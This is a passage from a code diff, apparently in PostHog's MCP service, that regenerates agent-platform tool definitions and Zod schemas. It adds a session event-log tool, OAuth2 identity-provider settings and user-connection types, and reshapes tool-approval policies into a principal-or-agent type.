+ Pair with `agent-applications-sessions-retrieve` for the transcript. Playbook: read the `debugging-sessions`
+ playbook via `agent-resolve-resource` for the failure taxonomy and how to read the logs.
agent-applications-sessions-list:
operation: agent_applications_sessions_list
enabled: true
@@ -576,6 +592,12 @@ tools:
agent-applications-update:
operation: agent_applications_update
enabled: false
+ agent-applications-users-connection-delete:
+ operation: agent_applications_users_connection_delete
+ enabled: false
+ agent-applications-users-list:
+ operation: agent_applications_users_list
+ enabled: false
agent-fleet-approvals-list:
operation: agent_fleet_approvals_list
enabled: false
diff --git a/services/mcp/schema/generated-tool-definitions.json b/services/mcp/schema/generated-tool-definitions.json
index bb74e9a1c102..700c5e63b6bc 100644
--- a/services/mcp/schema/generated-tool-definitions.json
+++ b/services/mcp/schema/generated-tool-definitions.json
@@ -711,6 +711,21 @@
},
"feature_flag": "agent-platform"
},
+ "agent-applications-session-logs": {
+ "description": "The append-only event log for one session — the runner's own record of what happened, separate from the conversation transcript. Entries carry a level (info / warn / error), a message, and structured metadata: tool executions + results, MCP open successes / failures (with a coarse failure category), identity resolution decisions (`identity.resolved` — which credential source acted as whom, never the token), approval gates, and errors. Use this to debug WHY a session behaved as it did when the transcript alone isn't enough (e.g. a tool degraded, an MCP failed to open, or an asker's identity resolved unexpectedly). Pair with `agent-applications-sessions-retrieve` for the transcript. Playbook: read the `debugging-sessions` playbook via `agent-resolve-resource` for the failure taxonomy and how to read the logs.",
+ "category": "Agent stack",
+ "feature": "agent_platform",
+ "summary": "Get a session's structured event log",
+ "title": "Get a session's structured event log",
+ "required_scopes": ["agents:read"],
+ "annotations": {
+ "destructiveHint": false,
+ "idempotentHint": true,
+ "openWorldHint": true,
+ "readOnlyHint": true
+ },
+ "feature_flag": "agent-platform"
+ },
"agent-applications-sessions-list": {
"description": "Newest-first list of sessions for this agent across all revisions. Each summary carries id, state (queued / running / completed / closed / cancelled / failed), revision_id, principal, turn count, retry count, timestamps, a `preview` of the last assistant text (~120 chars), and `usage_total` (tokens + cost aggregated over the whole conversation). The transcript body is omitted — use `agent-applications-sessions-retrieve` for that. Filters: `state` (comma-separated for multiple, e.g. `completed,failed`), `revision_id` (UUID), `created_after` / `created_before` (ISO datetimes). Paging via `limit` (default 100, capped at 500) + `offset`. Filters AND together. Playbook: read the `debugging-sessions` playbook via `agent-resolve-resource` for the failure taxonomy and how to read the logs.",
"category": "Agent stack",
diff --git a/services/mcp/schema/tool-definitions-all.json b/services/mcp/schema/tool-definitions-all.json
index 4d6c152b0b67..66cb2ef937b7 100644
--- a/services/mcp/schema/tool-definitions-all.json
+++ b/services/mcp/schema/tool-definitions-all.json
@@ -711,6 +711,21 @@
},
"feature_flag": "agent-platform"
},
+ "agent-applications-session-logs": {
+ "description": "The append-only event log for one session — the runner's own record of what happened, separate from the conversation transcript. Entries carry a level (info / warn / error), a message, and structured metadata: tool executions + results, MCP open successes / failures (with a coarse failure category), identity resolution decisions (`identity.resolved` — which credential source acted as whom, never the token), approval gates, and errors. Use this to debug WHY a session behaved as it did when the transcript alone isn't enough (e.g. a tool degraded, an MCP failed to open, or an asker's identity resolved unexpectedly). Pair with `agent-applications-sessions-retrieve` for the transcript. Playbook: read the `debugging-sessions` playbook via `agent-resolve-resource` for the failure taxonomy and how to read the logs.",
+ "category": "Agent stack",
+ "feature": "agent_platform",
+ "summary": "Get a session's structured event log",
+ "title": "Get a session's structured event log",
+ "required_scopes": ["agents:read"],
+ "annotations": {
+ "destructiveHint": false,
+ "idempotentHint": true,
+ "openWorldHint": true,
+ "readOnlyHint": true
+ },
+ "feature_flag": "agent-platform"
+ },
"agent-applications-sessions-list": {
"description": "Newest-first list of sessions for this agent across all revisions. Each summary carries id, state (queued / running / completed / closed / cancelled / failed), revision_id, principal, turn count, retry count, timestamps, a `preview` of the last assistant text (~120 chars), and `usage_total` (tokens + cost aggregated over the whole conversation). The transcript body is omitted — use `agent-applications-sessions-retrieve` for that. Filters: `state` (comma-separated for multiple, e.g. `completed,failed`), `revision_id` (UUID), `created_after` / `created_before` (ISO datetimes). Paging via `limit` (default 100, capped at 500) + `offset`. Filters AND together. Playbook: read the `debugging-sessions` playbook via `agent-resolve-resource` for the failure taxonomy and how to read the logs.",
"category": "Agent stack",
diff --git a/services/mcp/schema/tool-inputs.json b/services/mcp/schema/tool-inputs.json
index 6f8707543da4..c4e748b2fd2d 100644
--- a/services/mcp/schema/tool-inputs.json
+++ b/services/mcp/schema/tool-inputs.json
@@ -20,7 +20,7 @@
"properties": {
"resource": {
"type": "string",
- "description": "Which operator playbook to fetch. Accepts either a bare id (one of: auditing-the-fleet, authoring-new-agents, choosing-the-model, cost-and-quota-analysis, debugging-sessions, designing-mcp-surfaces, editing-agents-safely, platform-mental-model, querying-ai-observability, reading-an-agent, running-and-evaluating-tests, safety-and-boundaries, secrets-and-integrations, setting-up-slack-app, using-the-console-ui, working-outside-the-console) or its URI form (`posthog://agent-platform/playbooks/<id>`). A playbook is a markdown guide for doing a class of agent-platform operations well — the same skills the agent concierge uses."
+ "description": "Which operator playbook to fetch. Accepts either a bare id (one of: auditing-the-fleet, authenticating-as-the-user, authoring-new-agents, choosing-the-model, cost-and-quota-analysis, debugging-sessions, designing-mcp-surfaces, editing-agents-safely, platform-mental-model, querying-ai-observability, reading-an-agent, running-and-evaluating-tests, safety-and-boundaries, secrets-and-integrations, setting-up-slack-app, using-the-console-ui, working-outside-the-console) or its URI form (`posthog://agent-platform/playbooks/<id>`). A playbook is a markdown guide for doing a class of agent-platform operations well — the same skills the agent concierge uses."
}
},
"required": ["resource"]
diff --git a/services/mcp/src/api/generated.ts b/services/mcp/src/api/generated.ts
index 7c6862b10f19..884775599e45 100644
--- a/services/mcp/src/api/generated.ts
+++ b/services/mcp/src/api/generated.ts
@@ -7520,7 +7520,7 @@ export namespace Schemas {
export type AgentApprovalRequestAssistantMessage = { [key: string]: unknown };
/**
- * Resolved approver policy (approvers, allow_edit, allow_agent_approver) at request time.
+ * Resolved approval policy (type: principal|agent, allow_edit) at request time.
*/
export type AgentApprovalRequestApproverScope = { [key: string]: unknown };
@@ -7556,7 +7556,7 @@ export namespace Schemas {
decided_args: AgentApprovalRequestDecidedArgs;
/** Snapshot of the assistant message that emitted the call (text + thinking blocks) — what the approver sees as the model's reasoning. */
assistant_message: AgentApprovalRequestAssistantMessage;
- /** Resolved approver policy (approvers, allow_edit, allow_agent_approver) at request time. */
+ /** Resolved approval policy (type: principal|agent, allow_edit) at request time. */
approver_scope: AgentApprovalRequestApproverScope;
/** Lifecycle state. `queued` = awaiting an approver; `approving` = decision landed and tool dispatch is in flight; `dispatched`/`dispatched_failed` = approved + tool ran; `rejected` = approver said no; `expired` = TTL elapsed.
*
@@ -8155,15 +8155,13 @@ export namespace Schemas {
id: string;
requires_approval?: boolean;
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[];
+ type?: 'principal' | 'agent';
allow_edit?: boolean;
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number;
- allow_agent_approver?: boolean;
};
} | {
kind: 'custom';
@@ -8171,16 +8169,15 @@ export namespace Schemas {
path: string;
requires_approval?: boolean;
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[];
+ type?: 'principal' | 'agent';
allow_edit?: boolean;
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number;
- allow_agent_approver?: boolean;
};
+ requires_identity?: string;
} | {
kind: 'custom_template';
from_template: string;
@@ -8205,6 +8202,7 @@ export namespace Schemas {
export type AgentRevisionSpecMcpsItemAuth = {
integration?: string;
+ provider?: string;
};
export type AgentRevisionSpecMcpsItemHeaders = {[key: string]: string};
@@ -8214,15 +8212,13 @@ export namespace Schemas {
name: string;
requires_approval?: boolean;
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[];
+ type?: 'principal' | 'agent';
allow_edit?: boolean;
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number;
- allow_agent_approver?: boolean;
};
};
@@ -8246,6 +8242,27 @@ export namespace Schemas {
version?: number;
};
+ export type AgentRevisionSpecIdentityProvidersItem = {
+ kind: 'posthog';
+ /** @minLength 1 */
+ id?: string;
+ binding?: 'principal';
+ scopes?: string[];
+ client_id?: string;
+ } | {
+ kind: 'oauth2';
+ /** @minLength 1 */
+ id: string;
+ binding?: 'principal';
+ authorize_url: string;
+ token_url: string;
+ /** @minLength 1 */
+ client_id: string;
+ client_secret_ref?: string;
+ scopes?: string[];
+ userinfo_url?: string;
+ };
+
export type AgentRevisionSpecSecretsItem = string | {
/** @minLength 1 */
name: string;
@@ -8337,6 +8354,7 @@ export namespace Schemas {
mcps: AgentRevisionSpecMcpsItem[];
skills: AgentRevisionSpecSkillsItem[];
integrations: string[];
+ identity_providers?: AgentRevisionSpecIdentityProvidersItem[];
secrets: AgentRevisionSpecSecretsItem[];
limits: AgentRevisionSpecLimits;
entrypoint: string;
@@ -8506,6 +8524,37 @@ export namespace Schemas {
tables: AgentTableHeader[];
}
+ export interface AgentUserConnection {
+ id: string;
+ provider: string;
+ scopes: string[];
+ /** active | revoked */
+ state: string;
+ /** @nullable */
+ subject?: string | null;
+ /** @nullable */
+ access_expires_at?: string | null;
+ created_at: string;
+ updated_at: string;
+ /** @nullable */
+ revoked_at?: string | null;
+ }
+
+ export interface AgentUserWithConnections {
+ id: string;
+ /** Edge-identity kind: slack | jwt | posthog | service | … */
+ principal_kind: string;
+ principal_id: string;
+ metadata?: unknown;
+ created_at: string;
+ connections: AgentUserConnection[];
+ }
+
+ export interface AgentUsersList {
+ count: number;
+ results: AgentUserWithConnections[];
+ }
+
export interface AggregatedSpanRow {
avg_duration_nano: number;
count: number;
@@ -33922,15 +33971,13 @@ export namespace Schemas {
id: string;
requires_approval?: boolean;
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[];
+ type?: 'principal' | 'agent';
allow_edit?: boolean;
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number;
- allow_agent_approver?: boolean;
};
} | {
kind: 'custom';
@@ -33938,16 +33985,15 @@ export namespace Schemas {
path: string;
requires_approval?: boolean;
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[];
+ type?: 'principal' | 'agent';
allow_edit?: boolean;
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number;
- allow_agent_approver?: boolean;
};
+ requires_identity?: string;
} | {
kind: 'custom_template';
from_template: string;
@@ -33972,6 +34018,7 @@ export namespace Schemas {
export type PatchedAgentRevisionSpecMcpsItemAuth = {
integration?: string;
+ provider?: string;
};
export type PatchedAgentRevisionSpecMcpsItemHeaders = {[key: string]: string};
@@ -33981,15 +34028,13 @@ export namespace Schemas {
name: string;
requires_approval?: boolean;
approval_policy?: {
- /** @minItems 1 */
- approvers?: ('team_admins' | 'session_principal')[];
+ type?: 'principal' | 'agent';
allow_edit?: boolean;
/**
* @minimum 60000
* @maximum 604800000
*/
ttl_ms?: number;
- allow_agent_approver?: boolean;
};
};
@@ -34013,6 +34058,27 @@ export namespace Schemas {
version?: number;
};
+ export type PatchedAgentRevisionSpecIdentityProvidersItem = {
+ kind: 'posthog';
+ /** @minLength 1 */
+ id?: string;
+ binding?: 'principal';
+ scopes?: string[];
+ client_id?: string;
+ } | {
+ kind: 'oauth2';
+ /** @minLength 1 */
+ id: string;
+ binding?: 'principal';
+ authorize_url: string;
+ token_url: string;
+ /** @minLength 1 */
+ client_id: string;
+ client_secret_ref?: string;
+ scopes?: string[];
+ userinfo_url?: string;
+ };
+
export type PatchedAgentRevisionSpecSecretsItem = string | {
/** @minLength 1 */
name: string;
@@ -34104,6 +34170,7 @@ export namespace Schemas {
mcps: PatchedAgentRevisionSpecMcpsItem[];
skills: PatchedAgentRevisionSpecSkillsItem[];
integrations: string[];
+ identity_providers?: PatchedAgentRevisionSpecIdentityProvidersItem[];
secrets: PatchedAgentRevisionSpecSecretsItem[];
limits: PatchedAgentRevisionSpecLimits;
entrypoint: string;
diff --git a/services/mcp/src/generated/agent_platform/api.ts b/services/mcp/src/generated/agent_platform/api.ts
index c55b1bfa11aa..6a3b6a4aed85 100644
--- a/services/mcp/src/generated/agent_platform/api.ts
+++ b/services/mcp/src/generated/agent_platform/api.ts
@@ -3,7 +3,7 @@
* MCP service uses these Zod schemas for generated tool handlers.
* To regenerate: hogli build:openapi
*
- * PostHog API - MCP 34 enabled ops
+ * PostHog API - MCP 35 enabled ops
* OpenAPI spec version: 1.0.0
*/
import * as zod from 'zod'
@@ -183,19 +183,19 @@ export const agentApplicationsRevisionsCreateBodySpecTriggersItemFiveAuthModesIt
export const agentApplicationsRevisionsCreateBodySpecTriggersDefault = []
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneRequiresApprovalDefault = false
+export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsCreateBodySpecToolsItemThreeVersionMin = 0
export const agentApplicationsRevisionsCreateBodySpecToolsItemFourArgsSchemaDefault = {}
@@ -208,17 +208,24 @@ export const agentApplicationsRevisionsCreateBodySpecToolsDefault = []
export const agentApplicationsRevisionsCreateBodySpecMcpsItemSecretsDefault = []
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsCreateBodySpecMcpsDefault = []
export const agentApplicationsRevisionsCreateBodySpecSkillsItemVersionMin = 0
export const agentApplicationsRevisionsCreateBodySpecSkillsDefault = []
export const agentApplicationsRevisionsCreateBodySpecIntegrationsDefault = []
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneIdDefault = `posthog`
+
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneBindingDefault = `principal`
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneScopesDefault = []
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoBindingDefault = `principal`
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoScopesDefault = []
+export const agentApplicationsRevisionsCreateBodySpecIdentityProvidersDefault = []
export const agentApplicationsRevisionsCreateBodySpecSecretsDefault = []
export const agentApplicationsRevisionsCreateBodySpecLimitsMaxTurnsDefault = 50
@@ -489,10 +496,11 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(agentApplicationsRevisionsCreateBodySpecToolsItemOneRequiresApprovalDefault),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -505,11 +513,6 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsCreateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -522,10 +525,11 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(agentApplicationsRevisionsCreateBodySpecToolsItemTwoRequiresApprovalDefault),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -538,13 +542,9 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsCreateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
+ requires_identity: zod.string().optional(),
}),
zod.object({
kind: zod.literal('custom_template'),
@@ -585,6 +585,7 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
auth: zod
.object({
integration: zod.string().optional(),
+ provider: zod.string().optional(),
})
.optional(),
secrets: zod
@@ -604,10 +605,11 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -624,11 +626,6 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
.default(
agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsCreateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -654,6 +651,45 @@ export const AgentApplicationsRevisionsCreateBody = /* @__PURE__ */ zod.object({
)
.default(agentApplicationsRevisionsCreateBodySpecSkillsDefault),
integrations: zod.array(zod.string()).default(agentApplicationsRevisionsCreateBodySpecIntegrationsDefault),
+ identity_providers: zod
+ .array(
+ zod.union([
+ zod.object({
+ kind: zod.literal('posthog'),
+ id: zod
+ .string()
+ .min(1)
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneIdDefault),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneBindingDefault
+ ),
+ scopes: zod
+ .array(zod.string())
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemOneScopesDefault),
+ client_id: zod.string().optional(),
+ }),
+ zod.object({
+ kind: zod.literal('oauth2'),
+ id: zod.string().min(1),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoBindingDefault
+ ),
+ authorize_url: zod.url(),
+ token_url: zod.url(),
+ client_id: zod.string().min(1),
+ client_secret_ref: zod.string().optional(),
+ scopes: zod
+ .array(zod.string())
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersItemTwoScopesDefault),
+ userinfo_url: zod.url().optional(),
+ }),
+ ])
+ )
+ .default(agentApplicationsRevisionsCreateBodySpecIdentityProvidersDefault),
secrets: zod
.array(
zod.union([
@@ -835,19 +871,19 @@ export const agentApplicationsRevisionsPartialUpdateBodySpecTriggersItemFiveAuth
export const agentApplicationsRevisionsPartialUpdateBodySpecTriggersDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneRequiresApprovalDefault = false
+export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemThreeVersionMin = 0
export const agentApplicationsRevisionsPartialUpdateBodySpecToolsItemFourArgsSchemaDefault = {}
@@ -860,17 +896,24 @@ export const agentApplicationsRevisionsPartialUpdateBodySpecToolsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemSecretsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoRequiresApprovalDefault = false
+export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault = `principal`
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowEditDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault = 86400000
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMin = 60000
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsMax = 604800000
-export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault = false
export const agentApplicationsRevisionsPartialUpdateBodySpecMcpsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecSkillsItemVersionMin = 0
export const agentApplicationsRevisionsPartialUpdateBodySpecSkillsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecIntegrationsDefault = []
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneIdDefault = `posthog`
+
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneBindingDefault = `principal`
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneScopesDefault = []
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoBindingDefault = `principal`
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoScopesDefault = []
+export const agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecSecretsDefault = []
export const agentApplicationsRevisionsPartialUpdateBodySpecLimitsMaxTurnsDefault = 50
@@ -1145,10 +1188,11 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1165,11 +1209,6 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
.default(
agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsPartialUpdateBodySpecToolsItemOneApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -1184,10 +1223,11 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1204,13 +1244,9 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
.default(
agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsPartialUpdateBodySpecToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
+ requires_identity: zod.string().optional(),
}),
zod.object({
kind: zod.literal('custom_template'),
@@ -1253,6 +1289,7 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
auth: zod
.object({
integration: zod.string().optional(),
+ provider: zod.string().optional(),
})
.optional(),
secrets: zod
@@ -1272,10 +1309,11 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
),
approval_policy: zod
.object({
- approvers: zod
- .array(zod.enum(['team_admins', 'session_principal']))
- .min(1)
- .default([`team_admins`]),
+ type: zod
+ .enum(['principal', 'agent'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTypeDefault
+ ),
allow_edit: zod
.boolean()
.default(
@@ -1292,11 +1330,6 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
.default(
agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyTtlMsDefault
),
- allow_agent_approver: zod
- .boolean()
- .default(
- agentApplicationsRevisionsPartialUpdateBodySpecMcpsItemToolsItemTwoApprovalPolicyAllowAgentApproverDefault
- ),
})
.optional(),
}),
@@ -1324,6 +1357,51 @@ export const AgentApplicationsRevisionsPartialUpdateBody = /* @__PURE__ */ zod.o
integrations: zod
.array(zod.string())
.default(agentApplicationsRevisionsPartialUpdateBodySpecIntegrationsDefault),
+ identity_providers: zod
+ .array(
+ zod.union([
+ zod.object({
+ kind: zod.literal('posthog'),
+ id: zod
+ .string()
+ .min(1)
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneIdDefault
+ ),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneBindingDefault
+ ),
+ scopes: zod
+ .array(zod.string())
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemOneScopesDefault
+ ),
+ client_id: zod.string().optional(),
+ }),
+ zod.object({
+ kind: zod.literal('oauth2'),
+ id: zod.string().min(1),
+ binding: zod
+ .enum(['principal'])
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoBindingDefault
+ ),
+ authorize_url: zod.url(),
+ token_url: zod.url(),
+ client_id: zod.string().min(1),
+ client_secret_ref: zod.string().optional(),
+ scopes: zod
+ .array(zod.string())
+ .default(
+ agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersItemTwoScopesDefault
+ ),
+ userinfo_url: zod.url().optional(),
+ }),
+ ])
+ )
+ .default(agentApplicationsRevisionsPartialUpdateBodySpecIdentityProvidersDefault),
secrets: zod
.array(
zod.union([
@@ -2193,6 +2271,48 @@ export const AgentApplicationsSessionsRetrieveQueryParams = /* @__PURE__ */ zod.
),
})
+/**
+ * Read the runner's structured event log for one session from
+ * ClickHouse. Filters (limit / after / before / level / search)
+ * match the shared `LogEntryMixin` helper used by hog_function +
+ * hog_flow.
+ */
+export const AgentApplicationsSessionLogsParams = /* @__PURE__ */ zod.object({
+ id: zod.string().describe('A UUID string identifying this agent application.'),
+ project_id: zod
+ .string()
+ .describe(
+ "Project ID of the project you're trying to access. To find the ID of the project, make a call to /api/projects/."
+ ),
+ session_id: zod.string().describe('UUID of the session whose logs to fetch.'),
+})
+
+export const agentApplicationsSessionLogsQueryLimitDefault = 50
+export const agentApplicationsSessionLogsQueryLimitMax = 500
+
